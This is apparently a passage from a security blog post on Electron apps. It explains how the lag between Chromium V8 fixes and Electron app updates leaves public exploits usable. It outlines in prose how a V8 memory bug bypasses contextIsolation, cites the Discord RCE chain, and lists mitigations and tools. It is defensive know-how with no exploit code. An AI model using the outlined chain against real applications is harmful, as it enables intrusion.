  1. Project Zero or the Chrome security team finds a V8 bug
  2. The fix lands in Chromium’s public repo (source visible)
  3. Chrome stable ships the patch within days
  4. Electron ships it next, days to weeks later
  5. Apps update their Electron version, weeks to months later
  6. Between steps 4 and 5, public exploit code exists for a vulnerability the app still ships
The V8 patch gap

Why this beats other mitigations

s1r1us documented in “Mind the V8 Patch Gap” that even with contextIsolation: true, a V8 memory bug can:

  1. Get arbitrary read/write in renderer memory
  2. Locate contextBridge-exposed objects in memory
  3. Modify internal object properties (e.g., regex source fields used by validation)
  4. Bypass security checks the preload relies on
  5. Hit dangerous APIs that were supposed to be protected

If sandbox: true is on, the V8 exploit is contained inside the sandboxed renderer, and impact stays small. If sandbox is off — like Discord’s bootstrapper today — a V8 exploit equals system access.

The ElectroVolt Discord chain above is the textbook example:

  • Discord’s Chromium 83.0.4103.122 was dozens of patches behind
  • CVE-2021-21220 had a public PoC
  • sandbox: false meant direct RCE

Mitigation

Real defense against the patch gap means:

  1. sandbox: true. Contains V8 exploits inside the sandboxed renderer.
  2. Fast Electron updates. Keep the vulnerable window short.
  3. V8 Fuses. Electron Fuses can disable V8 JIT (kEnableV8SandboxByDefault) and shrink the V8 attack surface, at a perf cost.

References

Researcher writeups

Conference talks

Tools

  • npx asar extract — ASAR archive extraction
  • electroniz3r — Automated Electron Fuse analysis and RunAsNode exploitation
  • Electronegativity — Electron application security scanner by Doyensec

Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading